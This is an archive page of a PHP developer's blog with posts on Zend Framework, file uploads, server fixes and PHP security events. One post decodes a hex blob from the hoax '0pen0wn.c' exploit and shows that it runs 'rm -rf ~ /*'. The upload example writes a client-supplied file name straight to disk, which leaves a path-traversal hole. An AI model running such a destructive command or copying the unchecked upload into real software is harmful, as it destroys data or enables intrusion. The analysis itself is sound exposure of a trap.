Web Development and stuff…

Archive for the ‘PHP’ tag

Month of PHP Security 2010

without comments

After a successful experiment a while back Month of the PHP Bugs. Stefan Esser and SektionEins is at it again. This time with Month of PHP Security. A gathering for PHP and security gurus a like. The call for papers is open for submission.

There are some nice prices to walk away with. So what you waiting for?

  • New vulnerability in PHP [1] (not simple safe_mode, open_basedir bypass vulnerabilities)
  • New vulnerability in PHP related software [1] (popular 3rd party PHP extensions/patches)
  • Explain a single topic of PHP application security in detail (such as guidelines on how to store passwords)
  • Explain a complicated vulnerability in/attack against a PHP widespread application [1]
  • Explain a complicated topic of attacking PHP (e.g. explain how to exploit heap overflows in PHP’s heap implementation)
  • Explain how to attack encrypted PHP applications
  • Release of a new open source PHP security tool
  • Other topics related to PHP or PHP application security
del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

March 9th, 2010 at 12:42 pm

Posted in Code, PHP, Security

Tagged with , , ,

Zend Framework Bootstrapping Modules

with 9 comments

I am working on a small API for bluesignal and i wanted a modular architecture. I have done this before using the Zend Framework. But this time i wanted a bit more control while loading the modules. And adding a Bootstrap class would seem like a good option. The only example i could find involved loading all bootstraps on every request. Which doesn’t seem like a good idea. So after reading through the Manual and some blog posts. I decided to give it s shot my self.

The structure i want looks like this.

The application.ini file has the following contents:

includePaths.library = APPLICATION_PATH “/../library”
bootstrap.path = APPLICATION_PATH “/Bootstrap.php”
bootstrap.class = “Bootstrap”
resources.frontController.moduleDirectory = APPLICATION_PATH “/modules”
resources.modules[] = “default”
resources.modules[] = “admin”

includePaths
This sets the applications local library location. Any shared code for this application goes here.

bootstrap.path & class
Define the location and type of the Bootstrap class.

resources
Define the modules location and create a list of modules.

The main Bootstrap class

application/Bootstrap.php

class Bootstrap extends Zend_Application_Bootstrap_Bootstrap
{

Load the config parameters for this application and set some debugging settings if needed.

    protected function _initConfiguration()
    {
    	$app = $this->getApplication();
    	$config = $app->getOptions();

    	if (APPLICATION_ENV == 'development') {
	    	    error_reporting(E_ALL & E_STRICT);
	    	    if (isset($config['phpsettings'])) {
		    	        foreach ($config['phpsettings'] as $setting => $value) {
		    		        ini_set($setting, $value);
		    	        }
	    	    }
    	}
    }

We need autoloading here because we are using a class from the application library. Right now this causes a problem. A notice is thrown

Warning: include_once(FrontController.php) [function.include-once]: failed to open stream: No such file or directory in Zend/Loader.php on line 147

The application responds fine. And this problem seems to be a recurring issue (ZF-7224, ZF-7550) for the framework. Until now i have not find a graceful fix for this. besides a small patch reversion.

    protected function _initAutoload()
    {
		    $autoloader = Zend_Loader_Autoloader::getInstance();
		    $autoloader->setFallbackAutoloader(true);

		    return $autoloader;
    }

Setup the controller to register the Bluess_Modules_Loader plug-in. And set the prefixDefaultModule parameter so we can prefix the default module controllers as well. Just for the sake of consistency. The Bluess_ namespace is part of my API. And can be changed at will.

   protected function _initController()
    {
    	$this->bootstrap('FrontController');
    	$controller = $this->getResource('FrontController');
       $modules = $controller->getControllerDirectory();
       $controller->setParam('prefixDefaultModule', true);

        $controller->registerPlugin(
               new Bluess_Modules_Loader($modules)
        );

        return $controller;
    }

Now the last method. which is a bit weird. And i am probably missing a key factor here. But if this method resource is not declared only the default module functions. When declared empty all modules function as they should. This would indicate that this method could be used to load the modules. But i haven’t found a way to achieve this yet. Except for loading all modules in a row. Which makes no sense for this purpose. So we leave it empty.

protected function _initModules()
    {
		// Call to prevent ZF from loading all modules
    }

The most important part here is the controller plug-in. This will be the place where module bootstraps are called from.

application/../library/Bluess/Modules/Loader.php

class Bluess_Modules_Loader extends Zend_Controller_Plugin_Abstract
{
	protected $_modules;

Setup the plug-in by passing the applications module list.

	public function __construct(array $modulesList)
	{
		$this->_modules = $modulesList;
	}

The dispatchLoopStartup method will be called on every request and will do the magic. Based on the current module name we create a new Zend_Application with the current modules config file module.ini. And we bootstrap it.

	public function dispatchLoopStartup(Zend_Controller_Request_Abstract $request)
	{
		$module = $request->getModuleName();

		if (!isset($this->_modules[$module])) {
			throw new Exception("Module does not exist!");
		}

		$bootstrapPath = $this->_modules[$module];

		$bootstrapFile = dirname($bootstrapPath) . '/Bootstrap.php';
        $class         = ucfirst($module) . '_Bootstrap';
        $application   = new Zend_Application(
        	APPLICATION_ENV,
    		APPLICATION_PATH . '/modules/' . $module . '/configs/module.ini'
		);  

        if (Zend_Loader::loadFile('Bootstrap.php', dirname($bootstrapPath))
        	&& class_exists($class)) {
            $bootstrap = new $class($application);
            $bootstrap->bootstrap();
        }
	}
}

Now setup the default module. Once this is done it’s a nice example for further modules. Make sure the module has it’s own layout set.

application/modules/default/configs/module.ini

default.resources.layout.layout = “default”
default.resources.layout.layoutPath = APPLICATION_PATH “/modules/default/layout”

Setup the modules bootstrap and use it to set the modules model location.

application/modules/default/Bootstrap.php

class Default_Bootstrap extends Zend_Application_Module_Bootstrap
{
	protected $_moduleName = 'default';

	protected function _initConfiguration()
    {
		$options = $this->getApplication()->getOptions();

    	set_include_path(implode(PATH_SEPARATOR, array(
		    realpath(APPLICATION_PATH . '/modules/' . $this->_moduleName . '/models'),
		    get_include_path(),
		)));

		return $options;
    }
}

That’s all. Now make sure your layout is set correctly and the controllers are prefixed

application/modules/default/layout/default.phtml

echo $this->layout()->content;

application/modules/default/controllers/IndexController.php

class Default_IndexController extends Zend_Controller_Action
{

It took me a while to get this working like i had it in my mind. But it’s going the right way. If your interested in a working copy. You can download one here.

del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

February 6th, 2010 at 9:04 pm

Posted in Code, PHP

Tagged with , , , , ,

Drag & drop Uploads with XMLHttpRequest2 and PHP

with one comment

I finally had some time to read through my ever growing list must read items and play with some new software. While reading up on the new Firefox 3.6 i noticed it came with the new XMLHttpRequest [2] object based on the new file API. And according to the new specs. This would allow for easy file uploads. Now there’s been some examples [2] on the web already. But i just wanted to get my hands dirty.

The new XMLHttpRequest object makes is possible to send files in a few different formats. The most important being the binary format. The code for sending a request with XMLHttpRequest2 looks the same as the previous version. Except for sendAsBinary() in this case.

var xhr = new XMLHttpRequest();

fileUpload = xhr.upload,
fileUpload.onload = function() {
    console.log("Sent!");
}

xhr.open("POST", "upload.php", true);
xhr.sendAsBinary(file.getAsBinary());

So let’s set things up for drag & drop. We need a div that will be the main drop point. And we need some event listeners to catch the drag * drop events. Let start by creating the drop zone. For this we use two simple divs. The outer div will listen for the drag & drop events. And the inner will catch the files.

Now let’s create our upload code.

var upload = {
    setup : function() {},
    uploadFiles : function() {event}
}
window.addEventListener("load", upload.setup, false);

The setup method will set all event listeners for drag & drop. And register the upload handler.

var container = document.getElementById('container');
var drop = document.getElementById('drop');

container.addEventListener("dragenter", function(event) {
        drop.innerHTML = '';
        event.stopPropagation();
        event.preventDefault();
    },
    false
);

container.addEventListener("dragover", function(event) {
        event.stopPropagation();
	event.preventDefault();
    },
    false
);

container.addEventListener("drop", upload.uploadFiles, false);

As you could see above. the uploadFiles() method gets a event returned from the drag & drop action. This is where the new file APi comes in play. To get to the file property we access the dataTransfer object.

var files = event.dataTransfer.files;

The actual uploading is easy as cake.

for (var x = 0; x < files.length; x++) {

    var file = files.item(x);
    var xhr = new XMLHttpRequest();

     fileUpload = xhr.upload,
     fileUpload.onload = function() {
         console.log("Sent!");
    }

    xhr.open("POST", "upload.php", true);

    xhr.setRequestHeader("Cache-Control", "no-cache");
    xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
    xhr.setRequestHeader("X-File-Name", file.fileName);
    xhr.setRequestHeader("X-File-Size", file.fileSize);
    xhr.setRequestHeader("Content-Type", "multipart/form-data");

    xhr.sendAsBinary(file.getAsBinary());
}

That's it for the client side. There is however a small problem on the receiving side. When handling uploaded files in PHP we expect the $_FILES array to be populated. This is not the case when streaming files from the client to the server. To get the needed file information we set some headers on the client side X-File-Name and X-File-Size. And since the $_FILES are is empty. We need an other way to get the file contents. So we will use php://input streams for that.

The contents of upload.php look like this:

require_once('Streamer.php');

$ft = new File_Streamer();
$ft->setDestination('data/');
$ft->receive();

With setDestination() the destination path for the uploaded files is set. And recieve() listens for any incoming files. Most of the magic is done in the recieve() method. So here's the code.

public function receive()
{
    if (!$this->isValid()) {
        throw new Exception('No file uploaded!');
    }

    file_put_contents(
        $this->_destination . $this->_fileName,
        file_get_contents("php://input")
    );

    return true;
}

I am impressed! This promises a lot of good. And offers some interesting options. Let's hope all browsers implement this gem. I still have one issue though. I can't get this to work in firefox under linux. The drag & drop events do not seem to function properly with files being dragged from the desktop. anybody know why?

If you interested in the complete code. you can find it here

del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

January 25th, 2010 at 12:02 am

Mayflower’s Zend Framework Poster

with 4 comments

Two or three weeks ago i was reading post from Bjoern Schotte. That the guys at Mayflower created a poster for Zend Framework. Seems they really love it there. And since i am a big fan myself. I send Bjoern an email to ask for an English version. If available. So some time passed. And i completely forgot about it. Until i came home yesterday and found my own personal copy of the Mayflower Zend Framework poster in the mail.

mayflower-zf-map

It’s a cool poster. All the most common used components are there. A nice reference to have. And a great piece of promotion material for the framework it self. Now i just need to find a good spot for it. It will be the second A0 poster hanging here. And probably not the last one. Since mister PHP security himself Stefan Esser from SektionEins is working on a PHP security poster. If you would like your own copy. Send Bjoern an email.

Thanks guys.

del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

July 25th, 2009 at 8:48 pm

Posted in Code, PHP, Tech

Tagged with , ,

0pen0wn.c what a joke

without comments

So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.

there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26

When decoded back to ASCII characters. This reads:

rm -rf ~ /* 2> /dev/null &

The code used for the decoding is a simple PHP script:

foreach (explode('\x', $str) as $char) echo chr(hexdec($char);
del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

July 16th, 2009 at 1:07 pm

Posted in Tech, Uncategorized

Tagged with , , , ,

Zend_Db connects to wrong mysql socket

with 2 comments

While working on a small project today. I was confronted with a Zend_Db exception that i have seen before. But it still had me searching for a solution. So this time i will write it done for future reference.

I’m working on a small ZF project which uses the MVC structure. And in the Initializer the database connection is setup like this:

public function initDb()
    {
    	$pdoParams = array(
            PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true
        );

        $params = array(
            'host'     => 'localhost',
            'username' => '***********',
            'password' => '***********',
            'dbname'   => '***********',
            'driver_options' => $pdoParams,
        );

        $db = Zend_Db::factory('Pdo_Mysql', $params);
        Zend_Db_Table_Abstract::setDefaultAdapter($db);
        Zend_Registry::set('DB', $db);
    }

So when i first instantiated a connection to the database i was presented a nice error on screen. The stack trace is quiet long. But this is the most relevant part.

exception ‘Zend_Db_Adapter_Exception’ with message ‘SQLSTATE[HY000] [2002] Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’ (2)’

The php bug tracker revealed a nice solution. For some strange reason the PDO extension can’t determine the correct socket while the mysql, mysqli extensions can. This is easily solved in the bootstrap of the project by adding an extra parameter to the config array passed when calling Zend_Db::factory();

$params = array(
            'host'     => 'localhost',
            'username' => '***********',
            'password' => '***********',
            'dbname'   => '***********',
            'driver_options' => $pdoParams,
            'unix_socket' => '/var/run/mysqld/mysqld.sock'
        );

        $db = Zend_Db::factory('Pdo_Mysql', $params);
        Zend_Db_Table_Abstract::setDefaultAdapter($db);
        Zend_Registry::set('DB', $db);
del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

June 27th, 2009 at 10:12 am

Posted in Code, PHP, Tech

Tagged with , , , , ,

PHP 5.3 almost ready for release.

without comments

The long awaited 5.3 version is near it’s final stage. I’ve been really looking forward to this.

1. July 24th – feature freeze COMPLETED
2. July 31st – alpha1 COMPLETED
3. September 2nd – alpha2 (freeze on August 29th, final packaging on September 1st) COMPLETED
4. December 4th – alpha3 (freeze on December 2nd, final packaging on December 3rd) COMPLETED
5. January 29th – beta1 (freeze on January 26th, final packaging on January 28th) COMPLETED
6. March 24th – RC1 (bug fixing until the 19th, with RM ok commits until 20nd, until 23rd build fixes only) COMPLETED
7. June 7th – RC2 (bug fixing until end of the 4th, after that only build fixes and README changes) COMPLETED
8. June 11th – RC3 COMPLETED
9. June 18th – RC4 COMPLETED
10. June 30th – stable
11. Continued RC releases in 2-4 week intervals
12. Stable release around Q2 2009
del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

June 26th, 2009 at 3:13 pm

Posted in Code, PHP, Tech

Tagged with , ,

PHPBenelux kick-off

without comments

I’ve been a member of PHPGG for a while. It’s the Dutch PHP user group. And it seems they have combined forces with the Belgium PHP user group. And started the all new PHPBenelux. As quoted from the new website.

PHPBenelux aims to be the Belgium, Netherlands and Luxemburg community

They already brought us a cool testFest last year. Which i didn’t have the time for this year. But they organize some nice stuff. So if your a PHP Developer from the Benelux. Sign up.

del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

May 15th, 2009 at 7:30 am

Posted in Code, PHP, Tech

Tagged with , ,

Zend Server CE MyPHPAdmin mysqli not loaded

without comments

The last time i installed Zend Server i did it from source. Now it was time for the Ubuntu package manager to do it for me. I’ll spare you the install process. Since it’s documented well by the Zend team.

After the install i walked through all pages of the ZS GUI. And all seemed to work great. So i checked the repository if there were anymore packages i could add to the ZS setup. And found the myphpadmin package. Just what i needed. And as i remember this was missing from the previous version. So i installed the package. And the GUI now showed a link to the phpmyadmin application. But when triggering the page i was confronted with an error message.

mysqli_error_zs

So mysqli was not loaded. Well that’s possible of course. But the repository showed it was installed. And so did the phpinfo() page.

phpinfo_mysqli_zs

So after looking around the config files for a while. It hit me. The ZS GUI is running on lighttpd and not apache. And just as i expected. Apache loaded the mysqli extension. But lighttpd didn’t.

A work around for this problem would be to leave of the :10081 port number in the GUI URL. So it points to 127.0.0.1/myphpadmin/. Or add the extensions to the lighthttpd setup. But adding a single line to the php-fcgi.ini file.

$ vi /usr/local/zend/gui/lighttpd/etc/php-fcgi.ini
$ extension=mysqli.so

This makes it possible to load phpmyadmin from the GUI. But the mysqli missing error is still displayed. So it’s probably better to load it over Apache. I tried to find a bug report link or something for the ZS project but couldn’t find any……

del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

May 7th, 2009 at 10:57 am

Posted in Code, PHP

Tagged with , ,

Checking website status with PHP and Curl

without comments

I have to admit this is probably not the best way to things like this. But it was fun to write the small bit of code. And it’s useful as well. For one of my sites i use a small script to check the status every 30 minutes. I’m doing this because the server the site is running on sometimes chooses to stop serving web pages. It’s a managed server so not much i can do about it.

So to check the status of the website / web server i wrote a small class that is triggered from a CRON job that runs every 30 minutes.

The CRON script looks like this:

require_once "/full/path/to/class/siteStatus.php";

try {
	siteStatus::check(array(
		'sites' => array(
			'http://siteurl1.tld',
			'http://siteurl2.tld'
		),
		'agent' => 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)',
		'email' => 'some+email.address'
	));
} catch (Exception $e) {
	echo $e->getMessage();
}

And the class that does the actual checking:

/**
 * siteStatus
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license
 *
 * @package    siteStatus
 * @copyright  Copyright (c) 2009 Thijs Lensselink. (http://lenss.nl)
 * @license    http://lenss.nl/license/bsd.txt     New BSD License
 */

/**
 * Class for checking the status of a website
 *
 * @package    siteStatus
 * @copyright  Copyright (c) 2009 Thijs Lensselink. (http://lenss.nl)
 * @license    http://lenss.nl/license/bsd.txt     New BSD License
 */
Class siteStatus
{
	/**
     * @var resource
     */
	static private $_curl;

	/**
     * @var string
     */
	static private $_reportEmail;

	/**
     * @var string
     */
	static private $_curlErrors;

	/**
     * This method loops through the lis tof sites provided by the
     * config array. And calls self::checkSite to do the actual checking.
     *
     * A config array will look something like this:
     *
     * array(
	 *	'sites' => array(
	 *		'http://siteurl1.tld',
	 *		'http://siteurl2.tld'
	 *	),
	 *	'agent' => 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)',
	 *	'email' => 'report+email.tld'
	 * );
     *
     * @param  array  $config   The config array
     * @return void
     */
	static public function check(array $config)
	{
		self::setReportAddress($config);
		self::createCurlResource();

		foreach ($config['sites'] as $site) {
			$checkDateTime = date('Y-m-d H:i:s');
			if (!self::checkSite($site, $config['agent'])) {
				self::sendReport($site, $checkDateTime);
			}
		}

		curl_close(self::$_curl);
	}

	/**
     * Sets the address to which the report has to be emailed.
     *
     * @param  array  $config   The config array
     * @return void
     */
	static private function setReportAddress(array $config)
	{
		if (!isset($config['email']) || (strlen($config['email']) <= 4)) {
			throw new Exception("No report email address is set in the config.");
		}

		self::$_reportEmail = $config['email'];
	}

	/**
     * Try to create a curl resource.
     *
     * @return void
     */
	static private function createCurlResource()
	{
		self::$_curl = curl_init();
		if (!self::$_curl) {
			throw new Exception("Could not create a curl resource.");
		}
	}

	/**
     * Preform a call to the webserver. And check the status code provided by it.
     *
     * @param  string  $siteUrl   The site URL.
     * @param  string  $agent     Browser agent string.
     * @return boolean
     */
	static private function checkSite($siteUrl, $agent)
	{
	    curl_setopt(self::$_curl, CURLOPT_URL,            $siteUrl);
	    curl_setopt(self::$_curl, CURLOPT_USERAGENT,      $agent);
	    curl_setopt(self::$_curl, CURLOPT_RETURNTRANSFER, 1);
	    curl_setopt(self::$_curl, CURLOPT_VERBOSE,        false);
	    curl_setopt(self::$_curl, CURLOPT_TIMEOUT,        5);

	    if (curl_exec(self::$_curl) === false) {
	    	self::$_curlErrors = curl_error(self::$_curl);
	    }
	    $httpcode = curl_getinfo(self::$_curl, CURLINFO_HTTP_CODE);

	    if($httpcode >= 200 && $httpcode < 300) {
	        return true;
	    }

	    return false;
	}

	/**
     * Send a report after checking sites is done.
     *
     * @param  string $site     Site URL.
     * @param  string $dateTime DateTime the check was preformed.
     * @return void
     */
	static private function sendReport($site, $dateTime)
	{
		$reportSubject = "Status report for {$site}\n\n";

		$reportBody = "Site : {$site}\n";
		$reportBody .= "Date : {$dateTime}\n";

		if (strlen(self::$_curlErrors) > 0) {
			$reportBody .= "Errors : " . self::$_curlErrors . "\n";
		}

		mail(self::$_reportEmail, $reportSubject, $reportBody);
	}
}

Like i said this is probably not the best way of doing this. To make it more solid it’s probably better to use some sort of SMS gateway to send out reports. But for now this suits my needs. It’s runs from my local workstation. Which is on 24/7 anyway.

del.icio.us Digg DZone reddit SlashDot StumbleUpon Technorati

Written by Thijs Lensselink

March 20th, 2009 at 9:56 am

Posted in Code, PHP, Tech

Tagged with ,